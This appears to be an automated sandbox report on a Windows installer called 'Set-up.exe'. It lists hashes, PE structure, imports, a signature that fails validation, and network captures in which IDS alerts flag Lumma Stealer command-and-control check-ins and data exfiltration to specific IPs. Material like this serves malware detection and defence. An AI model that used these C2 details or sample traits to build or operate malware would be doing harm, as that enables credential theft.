SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_tg3dv5s1.egw.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	0.5135942484516945
TrID:	Win32 Executable (generic) a (10002005/4) 97.75% Windows ActiveX control (116523/4) 1.14% Inno Setup installer (109748/4) 1.07% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02%
File name:	'Set-up.exe
File size:	75'052'076 bytes
MD5:	f27e776397563e8acf25ae754dc758d0
SHA1:	7a4598fa588add6a9c08de22580991c233c051a8
SHA256:	1386e1768e3b32c50df7720b91772db16a736b427f37d9f4451730d81b026050
SHA512:	0c1528eff5c6394a0d6585f3be1c360ffa6f5b2518756b0b1cb0dda77d666709ae5b0799b6b8b61a6424179788221382e369ecbf25fa8c10a0fc9511d7b0b9c4
SSDEEP:	24576:hKbqslNoiGO+h84C698HSCNFfoJMpNOErZTOzu5MTx9+q+leumOvyM:AwY69ULNntNuwlehiB
TLSH:	E0F7E3A1524182AFBF521D69E987B2CF9D376300AB3010FB579A07CE99325DC723395B
File Content Preview:	MZP.....................@.......................InUn....................!..L.!..This program must be run under Win32..$7.......................................................................................................................................

File Icon


Icon Hash:	13232b7b6d391b0f

Static PE Info

General

Entrypoint:	0x500004
Entrypoint Section:	.itext
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI
DLL Characteristics:	NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x56961F62 [Wed Jan 13 09:56:50 2016 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:	f62b90e31eca404f228fcf7068b00f31

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN=Microsoft Code Signing PCA 2010, O=Microsoft Corporation, L=Redmond, S=Washington, C=US
Signature Validation Error:	The digital signature of the object did not verify
Error Number:	-2146869232
Not Before, Not After	15/12/2020 22:24:20 02/12/2021 22:24:20
Subject Chain	CN=Microsoft Corporation, O=Microsoft Corporation, L=Redmond, S=Washington, C=US
Version:	3
Thumbprint MD5:	4068B1B0494EFA79F5A751DCCA8111CD
Thumbprint SHA-1:	914A09C2E02C696AF394048BCB8D95449BCD5B9E
Thumbprint SHA-256:	4A838904E732A380E2856A9D6FEE926E5C57EB59336292AC5D9E47C9B2C1ED13
Serial:	33000003DFFB6AE3F427ECB6A30000000003DF

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
add esp, FFFFFFF0h
push ebx
push esi
push edi
mov eax, 004FE748h
call 00007F8CDCB3543Ah
push FFFFFFECh
mov eax, dword ptr [00503E38h]
mov eax, dword ptr [eax]
mov ebx, dword ptr [eax+00000170h]
push ebx
call 00007F8CDCB362E5h
and eax, FFFFFF7Fh
push eax
push FFFFFFECh
mov eax, dword ptr [00503E38h]
push ebx
call 00007F8CDCB3653Ah
xor eax, eax
push ebp
push 0050007Fh
push dword ptr fs:[eax]
mov dword ptr fs:[eax], esp
push 00000001h
call 00007F8CDCB35C85h
call 00007F8CDCC2A938h
mov eax, dword ptr [004FE380h]
push eax
push 004FE3E4h
mov eax, dword ptr [00503E38h]
mov eax, dword ptr [eax]
call 00007F8CDCBA87A5h
call 00007F8CDCC2A98Ch
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword ptr fs:[eax], edx
jmp 00007F8CDCC2C51Bh
jmp 00007F8CDCB30B61h
call 00007F8CDCC2A708h
mov eax, 00000001h
call 00007F8CDCB31622h
call 00007F8CDCB30FA5h
mov eax, dword ptr [00503E38h]
mov eax, dword ptr [eax]
mov edx, 00500214h
call 00007F8CDCBA82B0h
push 00000005h
mov eax, dword ptr [00503E38h]
mov eax, dword ptr [eax]
mov eax, dword ptr [eax+00000170h]
push eax
call 00007F8CDCB364FBh
mov eax, dword ptr [00503E38h]
mov eax, dword ptr [eax]
mov edx, dword ptr [004D9250h]

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x10c000	0x3840	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x112000	0x70a00	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x479125c	0x21d0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x111000	0x18	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x10ca80	0x88c	.idata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0xfdbd8	0xfdc00	68e9e3b8df3a1896c3dccfb72683f81f	False	0.4841325431034483	data	6.493302322453749	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.itext	0xff000	0x1220	0x1400	50171e477549c90a7cfae41905fe4450	False	0.50546875	data	5.712054659293709	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.data	0x101000	0x3068	0x3200	24508ae838a6b64141bf764a4a75b9c9	False	0.422890625	data	4.307429244731418	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.bss	0x105000	0x6190	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x10c000	0x3840	0x3a00	060857caa22f62bce90fc3f7fec2d13d	False	0.30987338362068967	data	5.164265490979315	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.tls	0x110000	0x3c	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rdata	0x111000	0x18	0x200	3f4821d98c8d2f792b0e23905609a7d6	False	0.05078125	data	0.17014565200323517	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.rsrc	0x112000	0x70a00	0x70a00	6be532c21e1df8b13d6a33f59580a649	False	0.5827964587957825	data	7.304799389357285	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_CURSOR	0x112d64	0x134	Targa image data - Map 64 x 65536 x 1 +32 "\001"	English	United States	0.38636363636363635
RT_CURSOR	0x112e98	0x134	data	English	United States	0.4642857142857143
RT_CURSOR	0x112fcc	0x134	data	English	United States	0.4805194805194805
RT_CURSOR	0x113100	0x134	data	English	United States	0.38311688311688313
RT_CURSOR	0x113234	0x134	data	English	United States	0.36038961038961037
RT_CURSOR	0x113368	0x134	data	English	United States	0.4090909090909091
RT_CURSOR	0x11349c	0x134	Targa image data - RGB 64 x 65536 x 1 +32 "\001"	English	United States	0.4967532467532468
RT_BITMAP	0x1135d0	0x4e8	Device independent bitmap graphic, 48 x 48 x 4, image size 1152			0.2945859872611465
RT_BITMAP	0x113ab8	0xe8	Device independent bitmap graphic, 16 x 16 x 4, image size 128			0.521551724137931
RT_ICON	0x113ba0	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192	English	United States	0.652027027027027
RT_ICON	0x113cc8	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 640	English	United States	0.5618279569892473
RT_ICON	0x113fb0	0x668	Device independent bitmap graphic, 48 x 96 x 4, image size 1536	English	United States	0.44390243902439025
RT_ICON	0x114618	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 320	English	United States	0.5122832369942196
RT_ICON	0x114b80	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1152	English	United States	0.453971119133574
RT_ICON	0x115428	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2688	English	United States	0.3675373134328358
RT_ICON	0x1162d0	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	United States	0.6427304964539007
RT_ICON	0x116738	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	English	United States	0.4219043151969981
RT_ICON	0x1177e0	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.2953319502074689
RT_ICON	0x119d88	0x4e38	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	English	United States	0.9953555733120256
RT_STRING	0x11ebc0	0xec	data			0.6059322033898306
RT_STRING	0x11ecac	0x250	data			0.47466216216216217
RT_STRING	0x11eefc	0x28c	data			0.4647239263803681
RT_STRING	0x11f188	0x3e4	data			0.4347389558232932
RT_STRING	0x11f56c	0x9c	data			0.717948717948718
RT_STRING	0x11f608	0xe8	data			0.6293103448275862
RT_STRING	0x11f6f0	0x468	data			0.3820921985815603
RT_STRING	0x11fb58	0x38c	data			0.3898678414096916
RT_STRING	0x11fee4	0x3dc	data			0.39271255060728744
RT_STRING	0x1202c0	0x360	data			0.37037037037037035
RT_STRING	0x120620	0x40c	data			0.3783783783783784
RT_STRING	0x120a2c	0x108	data			0.5113636363636364
RT_STRING	0x120b34	0xcc	data			0.6029411764705882
RT_STRING	0x120c00	0x234	data			0.5070921985815603
RT_STRING	0x120e34	0x3c8	data			0.3181818181818182
RT_STRING	0x1211fc	0x32c	data			0.43349753694581283
RT_STRING	0x121528	0x2a0	data			0.41964285714285715
RT_RCDATA	0x1217c8	0x82e8	data	English	United States	0.11261637622344235
RT_RCDATA	0x129ab0	0x10	data			1.5
RT_RCDATA	0x129ac0	0x1800	PE32+ executable (console) x86-64, for MS Windows	English	United States	0.3924153645833333
RT_RCDATA	0x12b2c0	0x6b0	data			0.6466121495327103
RT_RCDATA	0x12b970	0x5b10	PE32 executable (DLL) (GUI) Intel 80386 (stripped to external PDB), for MS Windows	English	United States	0.3255404941660947
RT_RCDATA	0x131480	0x125	Delphi compiled form 'TMainForm'			0.7508532423208191
RT_RCDATA	0x1315a8	0x3a2	Delphi compiled form 'TNewDiskForm'			0.524731182795699
RT_RCDATA	0x13194c	0x320	Delphi compiled form 'TSelectFolderForm'			0.53625
RT_RCDATA	0x131c6c	0x300	Delphi compiled form 'TSelectLanguageForm'			0.5703125
RT_RCDATA	0x131f6c	0x5d9	Delphi compiled form 'TUninstallProgressForm'			0.4562458249832999
RT_RCDATA	0x132548	0x461	Delphi compiled form 'TUninstSharedFileForm'			0.4335414808206958
RT_RCDATA	0x1329ac	0x2092	Delphi compiled form 'TWizardForm'			0.2299112497001679
RT_GROUP_CURSOR	0x134a40	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.25
RT_GROUP_CURSOR	0x134a54	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.25
RT_GROUP_CURSOR	0x134a68	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x134a7c	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x134a90	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x134aa4	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x134ab8	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_ICON	0x134acc	0x92	data	English	United States	0.636986301369863
RT_VERSION	0x134b60	0x15c	data	English	United States	0.5689655172413793
RT_MANIFEST	0x134cbc	0x62c	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.4240506329113924

Imports

DLL	Import
oleaut32.dll	SysFreeString, SysReAllocStringLen, SysAllocStringLen
advapi32.dll	RegQueryValueExW, RegOpenKeyExW, RegCloseKey
user32.dll	GetKeyboardType, LoadStringW, MessageBoxA, CharNextW
kernel32.dll	GetACP, Sleep, VirtualFree, VirtualAlloc, GetSystemInfo, GetTickCount, QueryPerformanceCounter, GetVersion, GetCurrentThreadId, VirtualQuery, WideCharToMultiByte, SetCurrentDirectoryW, MultiByteToWideChar, lstrlenW, lstrcpynW, LoadLibraryExW, GetThreadLocale, GetStartupInfoA, GetProcAddress, GetModuleHandleW, GetModuleFileNameW, GetLocaleInfoW, GetCurrentDirectoryW, GetCommandLineW, FreeLibrary, FindFirstFileW, FindClose, ExitProcess, ExitThread, CreateThread, CompareStringW, WriteFile, UnhandledExceptionFilter, RtlUnwind, RaiseException, GetStdHandle, CloseHandle
kernel32.dll	TlsSetValue, TlsGetValue, LocalAlloc, GetModuleHandleW
user32.dll	CreateWindowExW, WindowFromPoint, WaitMessage, WaitForInputIdle, UpdateWindow, UnregisterClassW, UnhookWindowsHookEx, TranslateMessage, TranslateMDISysAccel, TrackPopupMenu, SystemParametersInfoW, ShowWindow, ShowScrollBar, ShowOwnedPopups, SetWindowsHookExW, SetWindowTextW, SetWindowPos, SetWindowPlacement, SetWindowLongW, SetTimer, SetScrollRange, SetScrollPos, SetScrollInfo, SetRectEmpty, SetRect, SetPropW, SetParent, SetMenuItemInfoW, SetMenu, SetForegroundWindow, SetFocus, SetCursor, SetClassLongW, SetCapture, SetActiveWindow, SendNotifyMessageW, SendMessageTimeoutW, SendMessageA, SendMessageW, ScrollWindowEx, ScrollWindow, ScreenToClient, ReplyMessage, RemovePropW, RemoveMenu, ReleaseDC, ReleaseCapture, RegisterWindowMessageW, RegisterClipboardFormatW, RegisterClassW, RedrawWindow, PtInRect, PostQuitMessage, PostMessageW, PeekMessageA, PeekMessageW, OffsetRect, OemToCharBuffA, MsgWaitForMultipleObjectsEx, MsgWaitForMultipleObjects, MessageBoxW, MessageBeep, MapWindowPoints, MapVirtualKeyW, LoadStringW, LoadKeyboardLayoutW, LoadIconW, LoadCursorW, LoadBitmapW, KillTimer, IsZoomed, IsWindowVisible, IsWindowUnicode, IsWindowEnabled, IsWindow, IsRectEmpty, IsIconic, IsDialogMessageA, IsDialogMessageW, IsChild, InvalidateRect, IntersectRect, InsertMenuItemW, InsertMenuW, InflateRect, GetWindowThreadProcessId, GetWindowTextW, GetWindowRect, GetWindowPlacement, GetWindowLongW, GetWindowDC, GetTopWindow, GetSystemMetrics, GetSystemMenu, GetSysColorBrush, GetSysColor, GetSubMenu, GetScrollRange, GetScrollPos, GetScrollInfo, GetPropW, GetParent, GetWindow, GetMessagePos, GetMessageW, GetMenuStringW, GetMenuState, GetMenuItemInfoW, GetMenuItemID, GetMenuItemCount, GetMenu, GetLastActivePopup, GetKeyboardState, GetKeyboardLayoutNameW, GetKeyboardLayoutList, GetKeyboardLayout, GetKeyState, GetKeyNameTextW, GetIconInfo, GetForegroundWindow, GetFocus, GetDesktopWindow, GetDCEx, GetDC, GetCursorPos, GetCursor, GetClientRect, GetClassLongW, GetClassInfoW, GetCapture, GetActiveWindow, FrameRect, FindWindowExW, FindWindowW, FillRect, ExitWindowsEx, EnumWindows, EnumThreadWindows, EnumChildWindows, EndPaint, EnableWindow, EnableScrollBar, EnableMenuItem, DrawTextExW, DrawTextW, DrawMenuBar, DrawIconEx, DrawIcon, DrawFrameControl, DrawFocusRect, DrawEdge, DispatchMessageA, DispatchMessageW, DestroyWindow, DestroyMenu, DestroyIcon, DestroyCursor, DeleteMenu, DefWindowProcW, DefMDIChildProcW, DefFrameProcW, CreatePopupMenu, CreateMenu, CreateIcon, ClientToScreen, CheckMenuItem, CharUpperBuffW, CharNextW, CharLowerBuffW, CharLowerW, CallWindowProcW, CallNextHookEx, BringWindowToTop, BeginPaint, AppendMenuW, CharToOemBuffA, AdjustWindowRectEx, ActivateKeyboardLayout
msimg32.dll	AlphaBlend
gdi32.dll	UnrealizeObject, StretchBlt, SetWindowOrgEx, SetViewportOrgEx, SetTextColor, SetStretchBltMode, SetROP2, SetPixel, SetDIBColorTable, SetBrushOrgEx, SetBkMode, SetBkColor, SelectPalette, SelectObject, SaveDC, RoundRect, RestoreDC, RemoveFontResourceW, Rectangle, RectVisible, RealizePalette, Polyline, Pie, PatBlt, MoveToEx, MaskBlt, LineTo, LineDDA, IntersectClipRect, GetWindowOrgEx, GetTextMetricsW, GetTextExtentPointW, GetTextExtentPoint32W, GetSystemPaletteEntries, GetStockObject, GetRgnBox, GetPixel, GetPaletteEntries, GetObjectW, GetDeviceCaps, GetDIBits, GetDIBColorTable, GetDCOrgEx, GetCurrentPositionEx, GetClipBox, GetBrushOrgEx, GetBitmapBits, GdiFlush, FrameRgn, ExtTextOutW, ExtFloodFill, ExcludeClipRect, EnumFontsW, Ellipse, DeleteObject, DeleteDC, CreateSolidBrush, CreateRectRgn, CreatePenIndirect, CreatePalette, CreateHalftonePalette, CreateFontIndirectW, CreateDIBitmap, CreateDIBSection, CreateCompatibleDC, CreateCompatibleBitmap, CreateBrushIndirect, CreateBitmap, Chord, BitBlt, Arc, AddFontResourceW
version.dll	VerQueryValueW, GetFileVersionInfoSizeW, GetFileVersionInfoW
mpr.dll	WNetOpenEnumW, WNetGetUniversalNameW, WNetGetConnectionW, WNetEnumResourceW, WNetCloseEnum
kernel32.dll	lstrcpyW, lstrcmpW, WriteProfileStringW, WritePrivateProfileStringW, WriteFile, WideCharToMultiByte, WaitForSingleObject, WaitForMultipleObjectsEx, VirtualQueryEx, VirtualQuery, VirtualFree, VirtualAlloc, TransactNamedPipe, TerminateProcess, SwitchToThread, SizeofResource, SignalObjectAndWait, SetThreadLocale, SetNamedPipeHandleState, SetLastError, SetFileTime, SetFilePointer, SetFileAttributesW, SetEvent, SetErrorMode, SetEndOfFile, SetCurrentDirectoryW, ResumeThread, ResetEvent, RemoveDirectoryW, ReleaseMutex, ReadFile, QueryPerformanceCounter, OpenProcess, OpenMutexW, MultiByteToWideChar, MulDiv, MoveFileExW, MoveFileW, LockResource, LocalFree, LocalFileTimeToFileTime, LoadResource, LoadLibraryExW, LoadLibraryW, LeaveCriticalSection, IsDBCSLeadByte, IsBadWritePtr, InitializeCriticalSection, GlobalFindAtomW, GlobalDeleteAtom, GlobalAddAtomW, GetWindowsDirectoryW, GetVersionExW, GetVersion, GetUserDefaultLangID, GetTickCount, GetThreadLocale, GetSystemTimeAsFileTime, GetSystemInfo, GetSystemDirectoryW, GetStdHandle, GetShortPathNameW, GetProfileStringW, GetProcAddress, GetPrivateProfileStringW, GetOverlappedResult, GetModuleHandleW, GetModuleFileNameW, GetLogicalDrives, GetLocaleInfoW, GetLocalTime, GetLastError, GetFullPathNameW, GetFileSize, GetFileAttributesW, GetExitCodeThread, GetExitCodeProcess, GetEnvironmentVariableW, GetDriveTypeW, GetDiskFreeSpaceW, GetDateFormatW, GetCurrentThreadId, GetCurrentThread, GetCurrentProcessId, GetCurrentProcess, GetCurrentDirectoryW, GetComputerNameW, GetCommandLineW, GetCPInfo, FreeResource, InterlockedIncrement, InterlockedExchangeAdd, InterlockedExchange, InterlockedDecrement, InterlockedCompareExchange, FreeLibrary, FormatMessageW, FlushFileBuffers, FindResourceW, FindNextFileW, FindFirstFileW, FindClose, FileTimeToSystemTime, FileTimeToLocalFileTime, EnumCalendarInfoW, EnterCriticalSection, DeviceIoControl, DeleteFileW, DeleteCriticalSection, CreateThread, CreateProcessW, CreateNamedPipeW, CreateMutexW, CreateFileW, CreateEventW, CreateDirectoryW, CopyFileW, CompareStringW, CompareFileTime, CloseHandle
advapi32.dll	SetSecurityDescriptorDacl, RegSetValueExW, RegQueryValueExW, RegQueryInfoKeyW, RegOpenKeyExW, RegFlushKey, RegEnumValueW, RegEnumKeyExW, RegDeleteValueW, RegDeleteKeyW, RegCreateKeyExW, RegCloseKey, OpenThreadToken, OpenProcessToken, LookupPrivilegeValueW, InitializeSecurityDescriptor, GetUserNameW, GetTokenInformation, FreeSid, EqualSid, AllocateAndInitializeSid
comctl32.dll	InitCommonControls
kernel32.dll	Sleep
oleaut32.dll	GetErrorInfo, GetActiveObject, RegisterTypeLib, LoadTypeLib, SysFreeString
ole32.dll	OleUninitialize, OleInitialize, CoTaskMemFree, CLSIDFromProgID, CLSIDFromString, StringFromCLSID, CoCreateInstance, CoFreeUnusedLibraries, CoUninitialize, CoInitialize, IsEqualGUID
oleaut32.dll	SafeArrayPtrOfIndex, SafeArrayPutElement, SafeArrayGetElement, SafeArrayGetUBound, SafeArrayGetLBound, SafeArrayCreate, VariantChangeType, VariantCopyInd, VariantCopy, VariantClear, VariantInit
comctl32.dll	InitializeFlatSB, FlatSB_SetScrollProp, FlatSB_SetScrollPos, FlatSB_SetScrollInfo, FlatSB_GetScrollPos, FlatSB_GetScrollInfo, _TrackMouseEvent, ImageList_SetIconSize, ImageList_GetIconSize, ImageList_Write, ImageList_Read, ImageList_GetDragImage, ImageList_DragShowNolock, ImageList_DragMove, ImageList_DragLeave, ImageList_DragEnter, ImageList_EndDrag, ImageList_BeginDrag, ImageList_Remove, ImageList_DrawEx, ImageList_Draw, ImageList_GetBkColor, ImageList_SetBkColor, ImageList_Add, ImageList_SetImageCount, ImageList_GetImageCount, ImageList_Destroy, ImageList_Create, InitCommonControls
shell32.dll	ShellExecuteExW, ShellExecuteW, SHGetFileInfoW, ExtractIconW
shell32.dll	SHGetPathFromIDListW, SHGetMalloc, SHChangeNotify, SHBrowseForFolderW
comdlg32.dll	GetSaveFileNameW, GetOpenFileNameW
ole32.dll	CoDisconnectObject
advapi32.dll	AdjustTokenPrivileges
oleaut32.dll	SysFreeString

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-24T01:18:13.616219+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49705	172.67.192.222	443	TCP
2024-12-24T01:18:14.463587+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.6	49705	172.67.192.222	443	TCP
2024-12-24T01:18:14.463587+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49705	172.67.192.222	443	TCP
2024-12-24T01:18:15.869204+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49711	172.67.192.222	443	TCP
2024-12-24T01:18:16.631223+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.6	49711	172.67.192.222	443	TCP
2024-12-24T01:18:16.631223+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49711	172.67.192.222	443	TCP
2024-12-24T01:18:18.340331+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49720	172.67.192.222	443	TCP
2024-12-24T01:18:20.608519+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49727	172.67.192.222	443	TCP
2024-12-24T01:18:22.907456+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49733	172.67.192.222	443	TCP
2024-12-24T01:18:25.390404+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49742	172.67.192.222	443	TCP
2024-12-24T01:18:26.148410+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.6	49742	172.67.192.222	443	TCP
2024-12-24T01:18:27.484214+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49747	172.67.192.222	443	TCP
2024-12-24T01:18:29.554771+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49753	172.67.192.222	443	TCP
2024-12-24T01:18:30.607924+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49753	172.67.192.222	443	TCP
2024-12-24T01:18:31.982071+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49761	172.67.169.205	443	TCP
2024-12-24T01:18:36.932855+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49772	104.21.84.113	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 24, 2024 01:18:12.392358065 CET	49705	443	192.168.2.6	172.67.192.222
Dec 24, 2024 01:18:12.392451048 CET	443	49705	172.67.192.222	192.168.2.6
Dec 24, 2024 01:18:12.392534971 CET	49705	443	192.168.2.6	172.67.192.222
Dec 24, 2024 01:18:12.395472050 CET	49705	443	192.168.2.6	172.67.192.222
Dec 24, 2024 01:18:12.395504951 CET	443	49705	172.67.192.222	192.168.2.6
Dec 24, 2024 01:18:13.616099119 CET	443	49705	172.67.192.222	192.168.2.6
Dec 24, 2024 01:18:13.616219044 CET	49705	443	192.168.2.6	172.67.192.222
Dec 24, 2024 01:18:13.619829893 CET	49705	443	192.168.2.6	172.67.192.222
Dec 24, 2024 01:18:13.619864941 CET	443	49705	172.67.192.222	192.168.2.6
Dec 24, 2024 01:18:13.620985031 CET	443	49705	172.67.192.222	192.168.2.6
Dec 24, 2024 01:18:13.666563988 CET	49705	443	192.168.2.6	172.67.192.222
Dec 24, 2024 01:18:13.670433044 CET	49705	443	192.168.2.6	172.67.192.222
Dec 24, 2024 01:18:13.670547962 CET	49705	443	192.168.2.6	172.67.192.222
Dec 24, 2024 01:18:13.670691013 CET	443	49705	172.67.192.222	192.168.2.6
Dec 24, 2024 01:18:14.463654995 CET	443	49705	172.67.192.222	192.168.2.6
Dec 24, 2024 01:18:14.463901043 CET	443	49705	172.67.192.222	192.168.2.6
Dec 24, 2024 01:18:14.463978052 CET	49705	443	192.168.2.6	172.67.192.222
Dec 24, 2024 01:18:14.465786934 CET	49705	443	192.168.2.6	172.67.192.222
Dec 24, 2024 01:18:14.465802908 CET	443	49705	172.67.192.222	192.168.2.6
Dec 24, 2024 01:18:14.470509052 CET	49711	443	192.168.2.6	172.67.192.222
Dec 24, 2024 01:18:14.470524073 CET	443	49711	172.67.192.222	192.168.2.6
Dec 24, 2024 01:18:14.470612049 CET	49711	443	192.168.2.6	172.67.192.222
Dec 24, 2024 01:18:14.470861912 CET	49711	443	192.168.2.6	172.67.192.222
Dec 24, 2024 01:18:14.470870018 CET	443	49711	172.67.192.222	192.168.2.6
Dec 24, 2024 01:18:15.869113922 CET	443	49711	172.67.192.222	192.168.2.6
Dec 24, 2024 01:18:15.869204044 CET	49711	443	192.168.2.6	172.67.192.222
Dec 24, 2024 01:18:15.871500969 CET	49711	443	192.168.2.6	172.67.192.222
Dec 24, 2024 01:18:15.871506929 CET	443	49711	172.67.192.222	192.168.2.6
Dec 24, 2024 01:18:15.872427940 CET	443	49711	172.67.192.222	192.168.2.6
Dec 24, 2024 01:18:15.874408007 CET	49711	443	192.168.2.6	172.67.192.222
Dec 24, 2024 01:18:15.874435902 CET	49711	443	192.168.2.6	172.67.192.222
Dec 24, 2024 01:18:15.874485016 CET	443	49711	172.67.192.222	192.168.2.6
Dec 24, 2024 01:18:16.631373882 CET	443	49711	172.67.192.222	192.168.2.6
Dec 24, 2024 01:18:16.631620884 CET	443	49711	172.67.192.222	192.168.2.6
Dec 24, 2024 01:18:16.631675959 CET	49711	443	192.168.2.6	172.67.192.222
Dec 24, 2024 01:18:16.631686926 CET	443	49711	172.67.192.222	192.168.2.6
Dec 24, 2024 01:18:16.631776094 CET	443	49711	172.67.192.222	192.168.2.6
Dec 24, 2024 01:18:16.631829023 CET	49711	443	192.168.2.6	172.67.192.222
Dec 24, 2024 01:18:16.631835938 CET	443	49711	172.67.192.222	192.168.2.6
Dec 24, 2024 01:18:16.632311106 CET	443	49711	172.67.192.222	192.168.2.6
